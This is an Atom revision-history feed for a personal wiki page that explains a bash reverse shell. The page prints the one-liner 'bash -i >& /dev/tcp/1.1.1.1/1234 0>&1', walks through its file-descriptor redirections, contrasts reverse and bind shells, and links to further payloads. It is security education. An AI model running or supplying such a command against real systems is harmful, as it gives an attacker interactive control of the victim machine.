<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.johnlradford.io/index.php?action=history&amp;feed=atom&amp;title=Bash_Reverse_Shell_Explanation</id>
	<title>Bash Reverse Shell Explanation - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.johnlradford.io/index.php?action=history&amp;feed=atom&amp;title=Bash_Reverse_Shell_Explanation"/>
	<link rel="alternate" type="text/html" href="https://wiki.johnlradford.io/index.php?title=Bash_Reverse_Shell_Explanation&amp;action=history"/>
	<updated>2026-05-05T16:14:24Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.42.1</generator>
	<entry>
		<id>https://wiki.johnlradford.io/index.php?title=Bash_Reverse_Shell_Explanation&amp;diff=7&amp;oldid=prev</id>
		<title>Admin: Created page with &quot;A typical bash reverse shell payload looks like the following, where 1.1.1.1 is your IP address and 1234 is your netcat listener&#039;s port.    bash -i &gt;&amp; /dev/tcp/1.1.1.1/1234 0&gt;&amp;1  But what the heck does all that mean? The following is my favorite explaination of how it works.   &lt;pre&gt; &amp;&gt; file itself is the same as &gt; file 2&gt;&amp;1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (s...&quot;</title>
		<link rel="alternate" type="text/html" href="https://wiki.johnlradford.io/index.php?title=Bash_Reverse_Shell_Explanation&amp;diff=7&amp;oldid=prev"/>
		<updated>2023-10-04T09:50:56Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;A typical bash reverse shell payload looks like the following, where 1.1.1.1 is your IP address and 1234 is your netcat listener&amp;#039;s port.    bash -i &amp;gt;&amp;amp; /dev/tcp/1.1.1.1/1234 0&amp;gt;&amp;amp;1  But what the heck does all that mean? The following is my favorite explaination of how it works.   &amp;lt;pre&amp;gt; &amp;amp;&amp;gt; file itself is the same as &amp;gt; file 2&amp;gt;&amp;amp;1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (s...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;A typical bash reverse shell payload looks like the following, where 1.1.1.1 is your IP address and 1234 is your netcat listener&amp;#039;s port. &lt;br /&gt;
&lt;br /&gt;
 bash -i &amp;gt;&amp;amp; /dev/tcp/1.1.1.1/1234 0&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
But what the heck does all that mean? The following is my favorite explaination of how it works. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;&amp;gt; file itself is the same as &amp;gt; file 2&amp;gt;&amp;amp;1, that is open file in write-only mode&lt;br /&gt;
on file descriptor 1, and duplicate that file descriptor 1 to the file&lt;br /&gt;
descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open&lt;br /&gt;
file destription&lt;br /&gt;
&lt;br /&gt;
0&amp;gt;&amp;amp;1 (same as 0&amp;lt;&amp;amp;1 or &amp;lt;&amp;amp;1) adds 0 (stdin) to the list. It duplicates fd 1 to 0&lt;br /&gt;
as well (fd 0 is made to point to the same resource as pointed to by fd 1).&lt;br /&gt;
&lt;br /&gt;
Now, when doing &amp;gt; /dev/tcp/host/port in bash (like in ksh where the feature&lt;br /&gt;
comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket&lt;br /&gt;
and connects it to host:port. That&amp;#039;s not a write-only redirection, that&amp;#039;s a&lt;br /&gt;
read+write network socket.&lt;br /&gt;
&lt;br /&gt;
So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i&lt;br /&gt;
reads on its stdin, it reads from the socket so from whatever sits at the other&lt;br /&gt;
end of host:post and when it (or any command run from there) writes to fd 1 or&lt;br /&gt;
2, it is sent over that socket.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TLDR: Direct stdout, stderr, &amp;amp; stderr of an interactive bash shell session to a socketfile representing a hotline netcat listener setup on a remote machine.&lt;br /&gt;
&lt;br /&gt;
You can think of reverse shells as different from [https://medium.com/@Proclus/reverse-bind-shells-for-everyoned-e7507853bf4e#:~:text=What%20is%20a%20Bind,to%20connect%20to%20it. bind shells] because of whose opening the port. With a traditional bind shell the victim machine is opening the port, whereas with a reverse shell its the attacker who opens the port on their machine and a shell is sent to it.&lt;br /&gt;
&lt;br /&gt;
* [https://unix.stackexchange.com/questions/521596/what-does-the-01-shell-redirection-mean Original Stack Exchange Thread]&lt;br /&gt;
&lt;br /&gt;
* [http://rshell.sh More Reverse Shell Payloads]&lt;br /&gt;
&lt;br /&gt;
* [https://www.youtube.com/watch?v=rL3yq5a_vNM Simple Reverse Shell Video Demo]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
</feed>